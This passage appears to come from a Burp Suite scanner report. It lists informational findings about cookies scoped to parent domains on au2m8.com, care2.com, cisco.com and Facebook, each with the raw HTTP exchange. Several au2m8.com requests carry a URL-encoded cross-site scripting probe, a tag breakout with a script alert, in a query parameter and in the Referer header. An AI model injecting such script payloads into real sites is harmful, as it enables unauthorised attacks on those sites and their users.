videoID=expired; expires=Sun, 06-Feb-2011 18:21:14 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:21:14 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:21:14 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/ HTTP/1.1
Host: www.au2m8.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: bpl1296950982=1296947382; countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1296950951=1296947351; bpl1296950905=1296947305; bpl1297002333=1296998733; bpl1296950890=1296947290; bpl1296950921=1296947321; bpl1297002238=1296998638; bpl1297002318=1296998718; videoID=expired; bpl1297002302=1296998702; bpl1297002287=1296998687; bpl1296950936=1296947336; j2playlist=4881; auto=expired; bpl1296950967=1296947367; playlist=5731%2C4881; bpl1297002348=1296998748;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:21:14 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 17:21:14 GMT
Last-Modified: Sun, 06 Feb 2011 17:21:14 GMT
Set-Cookie: bpl1297016474=1297012874; expires=Sun, 06-Feb-2011 18:21:14 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 18:21:14 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 18:21:14 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:21:14 GMT; path=/; domain=.au2m8.com
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12759

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 17:21:14 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.232. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012667=1297009067; expires=Sun, 06-Feb-2011 17:17:47 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:17:47 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:17:47 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:47 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:17:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:17:47 GMT
Last-Modified: Sun, 06 Feb 2011 16:17:47 GMT
Set-Cookie: bpl1297012667=1297009067; expires=Sun, 06-Feb-2011 17:17:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:17:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:17:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:47 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11406

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:17:47 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.233. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012569=1297008969; expires=Sun, 06-Feb-2011 17:16:09 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:09 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:09 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:09 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/50811909125880119639927.htm?vs=1&r=www.kledy.us%2F&s=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&t=292565
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:09 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:16:09 GMT
Last-Modified: Sun, 06 Feb 2011 16:16:09 GMT
Set-Cookie: bpl1297012569=1297008969; expires=Sun, 06-Feb-2011 17:16:09 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:16:09 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:16:09 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:09 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11320

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:16:09 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.234. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012626=1297009026; expires=Sun, 06-Feb-2011 17:17:06 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:17:06 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:17:06 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:06 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:17:06 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:17:06 GMT
Last-Modified: Sun, 06 Feb 2011 16:17:06 GMT
Set-Cookie: bpl1297012626=1297009026; expires=Sun, 06-Feb-2011 17:17:06 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:17:06 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:17:06 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:06 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11494

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:17:06 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.235. http://www.au2m8.com/v/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/index.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297016479=1297012879; expires=Sun, 06-Feb-2011 18:21:19 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:21:19 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:21:19 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:21:19 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:21:19 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 17:21:19 GMT
Last-Modified: Sun, 06 Feb 2011 17:21:19 GMT
Set-Cookie: bpl1297016479=1297012879; expires=Sun, 06-Feb-2011 18:21:19 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 18:21:19 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 18:21:19 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:21:19 GMT; path=/; domain=.au2m8.com
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12813

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 17:21:19 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.236. http://www.au2m8.com/v/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/index.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297011707=1297008107; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:01:47 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:01:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:01:47 GMT
Last-Modified: Sun, 06 Feb 2011 16:01:47 GMT
Set-Cookie: bpl1297011707=1297008107; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:01:47 GMT; path=/; domain=.au2m8.com
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12782

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:01:47 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.237. http://www.care2.com/news/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.care2.com
Path:	/news/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

c2_user_state=2e06b74f7f7f35836bd0e7829d266d5d%3A0; path=/; domain=.care2.com
c2_user_state=fae849c0ec8c397c2e99daf88feb2588%3A0; path=/; domain=.care2.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /news/ HTTP/1.1
Host: www.care2.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:35 GMT
Server: Apache/2.2.8
Set-Cookie: c2_user_state=2e06b74f7f7f35836bd0e7829d266d5d%3A0; path=/; domain=.care2.com
Set-Cookie: c2_user_state=fae849c0ec8c397c2e99daf88feb2588%3A0; path=/; domain=.care2.com
Set-Cookie: geoip=223; expires=Sat, 12-Feb-2011 23:01:35 GMT; path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 127417

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml"><head><titl
...[SNIP]...

14.238. http://www.cisco.com/ipj/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cisco.com
Path:	/ipj/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

CP_GUTC=72.163.4.167.1296942825278234; path=/; expires=Wed, 30-Jan-36 21:53:45 GMT; domain=.cisco.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ipj/ HTTP/1.1
Host: www.cisco.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.0
Cache-Control: max-age=0
Expires: Sat, 05 Feb 2011 21:53:45 GMT
CDCHOST: ccows-sj-101
Content-Type: text/html
Date: Sat, 05 Feb 2011 21:53:45 GMT
Content-Length: 1295
Connection: close
Set-Cookie: CP_GUTC=72.163.4.167.1296942825278234; path=/; expires=Wed, 30-Jan-36 21:53:45 GMT; domain=.cisco.com

<HTML>
<HEAD>
<META NAME="Repository" CONTENT="CCEWP">
<META NAME="author" CONTENT="kharibab">
<META NAME="SearchPublicationDate" CONTENT="Mon, 07 Mar 2005 12:22:00 GMT">
<META NAME="FileOwner" CONTE
...[SNIP]...

14.239. http://www.cisco.com/warp/public/707/newsflash.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cisco.com
Path:	/warp/public/707/newsflash.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

CP_GUTC=72.163.4.169.1296942779477277; path=/; expires=Wed, 30-Jan-36 21:52:59 GMT; domain=.cisco.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /warp/public/707/newsflash.html HTTP/1.1
Host: www.cisco.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.0
Cache-Control: max-age=0
Expires: Sat, 05 Feb 2011 21:52:59 GMT
CDCHOST: ccows-sj-202
Content-Type: text/html
Date: Sat, 05 Feb 2011 21:53:45 GMT
Content-Length: 1444
Connection: close
Set-Cookie: CP_GUTC=72.163.4.169.1296942779477277; path=/; expires=Wed, 30-Jan-36 21:52:59 GMT; domain=.cisco.com

<HTML>
<HEAD>
<META NAME="Repository" CONTENT="CCEWP">
<META NAME="author" CONTENT="ewpadmin">
<META NAME="SearchPublicationDate" CONTENT="Tue, 05 Jun 2001 16:04:00 GMT">
<META NAME="FileOwner" CONTEN
...[SNIP]...

14.240. http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_9-1/ip_addresses.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cisco.com
Path:	/web/about/ac123/ac147/archived_issues/ipj_9-1/ip_addresses.html

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

CP_GUTC=72.163.4.168.1296942826289717; path=/; expires=Wed, 30-Jan-36 21:53:46 GMT; domain=.cisco.com
CP_GUTC=128.107.242.39.1296942826291868; path=/; expires=Wed, 30-Jan-36 21:53:46 GMT; domain=.cisco.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /web/about/ac123/ac147/archived_issues/ipj_9-1/ip_addresses.html HTTP/1.1
Host: www.cisco.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.241. http://www.facebook.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

lsd=_8zhn; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

14.242. http://www.facebook.com/BlackBerry previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerry

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

lsd=V6SJp; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /BlackBerry HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.243. http://www.facebook.com/BlackBerryES previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryES

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

lsd=udoDx; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /BlackBerryES HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.244. http://www.facebook.com/BlackBerryFR previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryFR

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

lsd=4IO1b; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /BlackBerryFR HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.245. http://www.facebook.com/BlackBerryNL previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryNL

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

lsd=5Sbol; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /BlackBerryNL HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.246. http://www.facebook.com/BlackBerryUK previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryUK

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

lsd=UTyVw; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /BlackBerryUK HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.247. http://www.facebook.com/BlackBerryZA previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryZA

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

lsd=jDrHM; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /BlackBerryZA HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.248. http://www.facebook.com/Craig.Marshall.Deutschland previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/Craig.Marshall.Deutschland

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

lsd=N7QZT; path=/; domain=.facebook.com
reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2FCraig.Marshall.Deutschland; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2FCraig.Marshall.Deutschland; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Craig.Marshall.Deutschland HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

14.249. http://www.facebook.com/ajouli1 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/ajouli1

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

lsd=RGY-U; path=/; domain=.facebook.com
reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fajouli1; path=/; domain=.facebook.com
